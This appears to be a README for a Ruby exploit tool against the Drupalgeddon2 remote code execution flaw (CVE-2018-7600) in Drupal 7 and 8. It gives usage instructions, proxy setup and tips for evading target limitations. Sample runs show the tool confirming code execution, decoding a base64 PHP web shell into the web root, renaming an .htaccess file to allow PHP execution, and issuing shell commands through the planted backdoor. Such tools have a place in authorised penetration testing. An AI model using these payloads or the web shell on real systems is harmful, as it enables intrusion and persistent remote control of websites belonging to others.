CVE-2018-7600 | Drupal 8.5.x < 8.5.1 / 8.4.x < 8.4.6 / 8.x < 8.3.9 / 7.x? < 7.58 / < 6.x? - 'S4nji1-Drupalgeddon2' RCE (SA-CORE-2018-002)
Drupalggedon2 ~ https://github.com/emzkie2018/S4nji1-Drupalgeddon2/ (https://www.drupal.org/sa-core-2018-002)
Supports:
- Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 ~
user/register
URL, attackingaccount/mail
&#post_render
parameter, using PHP'spassthru
function - Drupal < 7.58 ~
user/password
URL, attackingtriggering_element_name
form &#post_render
parameter, using PHP'spassthru
function - Works with direct commands (aka File-Less Method) or writes a PHP shell to the web root (
./
) or sub-directories (./sites/default/
&./sites/default/files/
) - Support Linux & Windows targets
- Auto detects Drupal version (or takes a good guess!)
The user/register
method was chosen for Drupal v8.x, as it will return HTTP 200
, and render the output in the data
JSON response (un-comment the code for timezone
/#lazy_builder
method, which will return HTTP 500
& blind!) (More Information)
Authors:
- Str4what-S4nj1 ([@_emzkie2018])
Notes:
- For advance users/setups there is a more customizable exploit. See the
emzdrup-custom-beta.rb
section - Before opening an issue, please, read the troubleshooting section at the end. Thanks!
$ ruby emzdrup2.rb
Usage: ruby emzdrup2.rb <target>
ruby emzdrup2.rb https://example.com
$
Drupal v8.x < v8.3.9 / v8.4.x < v8.4.6 / v8.5.x < v8.5.1
$ ./emzdrup2.rb http://localhost/drupal-8/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://localhost/drupal-8/
--------------------------------------------------------------------------------
[!] MISSING: http://localhost/drupal-8/CHANGELOG.txt (HTTP Response: 404)
[+] Found : http://localhost/drupal-8/core/CHANGELOG.txt (HTTP Response: 200)
[+] Drupal?: v8.x
--------------------------------------------------------------------------------
[*] Testing: Code Execution
[i] Payload: echo TTTBJJBP
[+] Result : TTTBJJBP
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake shell: curl 'http://localhost/drupal-8/s.php' -d 'c=hostname'
ubuntu140045x64-drupal>> uname -a
Linux ubuntu140045x64-drupal 3.13.0-144-generic #193-Ubuntu SMP Thu Mar 15 17:03:53 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
ubuntu140045x64-drupal>>
Drupal < v7.58
$ ./emzdrup2.rb http://localhost/drupal-7/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://localhost/drupal-7/
--------------------------------------------------------------------------------
[+] Found : http://localhost/drupal-7/CHANGELOG.txt (HTTP Response: 200)
[+] Drupal!: v7.31
--------------------------------------------------------------------------------
[*] Testing: Code Execution
[i] Payload: echo TKYPVVJJ
[+] Result : TKYPVVJJ
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake shell: curl 'http://localhost/drupal-7/s.php' -d 'c=hostname'
ubuntu140045x64-drupal>> uptime
14:52:33 up 4 days, 3:35, 1 user, load average: 0.00, 0.01, 0.05
ubuntu140045x64-drupal>>
If either you do not want to even try and write a PHP web shell to the web server, edit the file as shown (it will fall back if it can't find a writeable location anyway):
try_phpshelltryphpshell = false
Example
$ ./emzdrup2.rb http://localhost/drupal-nonwrite/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://localhost/drupal-nonwrite/
--------------------------------------------------------------------------------
[!] MISSING: http://localhost/drupal-nonwrite/CHANGELOG.txt (HTTP Response: 404)
[+] Found : http://localhost/drupal-nonwrite/core/CHANGELOG.txt (HTTP Response: 200)
[+] Drupal?: v8.x
--------------------------------------------------------------------------------
[*] Testing: Code Execution
[i] Payload: echo HYCBAIET
[+] Result : HYCBAIET
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[!] Target is NOT exploitable for some reason [2] (HTTP Response: 404)... Might not have write access?
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Writing To Web Root (sites/default/)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee sites/default/s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[!] Target is NOT exploitable for some reason [2] (HTTP Response: 404)... Might not have write access?
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Writing To Web Root (sites/default/files/)
[*] Moving : ./sites/default/files/.htaccess
[i] Payload: mv -f sites/default/files/.htaccess sites/default/files/.htaccess-bak; echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee sites/default/files/s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[!] Target is NOT exploitable for some reason [1] (HTTP Response: 403)... May not be able to execute PHP from here?
[!] FAILED: Couldn't find writeable web path
--------------------------------------------------------------------------------
[*] Dropping back to direct commands
drupalgeddon2>> lsb_release -a
Distributor ID: Ubuntu
Description: Ubuntu 14.04.5 LTS
Release: 14.04
Codename: trusty
drupalgeddon2>>
For proxy support (e.g. Burp), edit the file, replacing with your values. Example:
proxy_addr = "192.168.0.130"
proxy_port = 8080
emzdrup2-custom-beta.rb
is intended for more advance users as its more customizable. It allows you to specify some more parameters as the PHP method to use (not only system()
or passthru()
) and the way to reach user/password form.
Usage examples:
$ ruby emzdrup2-custom-beta.rb https://example.com 7 id passthru 0
1st parameter: Target URL
2nd parameter: Drupal version (e.g. 7 or 8)
3rd parameter: Command
4th parameter: PHP method to use (e.g. passthru, exec, system, assert...)
5th parameter: 0 for "/?q=user/password", 1 for "/user/password"
-
The target may redirect to another path, where Drupal exists (such as
HTTP 30x
responses)- Solution: Make sure you are using the correct Drupal path
-
There is a limitations of a allowed characters that are able to be used in the payload/command
- Solution: This is due to how the vulnerability sees them and them being encoded for the URL request. Encode the payload, decode it on the target. Such as base64
-
If the target is Linux, and isn't using "GNU base64", it may be the BSD version (or its not installed all together!)
- Solution: which to
base64 -D
(rather thanbase64 -d
) or use the file-less method
- Solution: which to
-
If the target using Windows, writing the PHP shell always fails
- Solution: Use file-less method. This is because gets pipe to a unix program, rather than using
certutil
orPowerShell
- Solution: Use file-less method. This is because gets pipe to a unix program, rather than using
-
Drupal v8.x -
./.htaccess
will stop any PHP scripts from executing in./sites/default/
if that is the writeable folder- Solution: Switch to the file-less method
-
Drupal v8.x - "clean URL" isn't enabled on the target
- Solution: N/A - Not vulnerable =(
-
Drupal v7.x - If the
/user/password
form is disabled, you meed find another form (remember to change the exploit!)- Solution:
form_id
parameter will change depending on the form used to exploit the vulnerability
- Solution:
- Drupal SA-CORE-2018-002 Advisory ~ https://www.drupal.org/sa-core-2018-002
- CVE ~ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7600
- Write up & Research ~ https://research.checkpoint.com/uncovering-drupalgeddon-2/
- cURL commands/sample PoC ~ https://gist.github.com/g0tmi1k/7476eec3f32278adc07039c3e5473708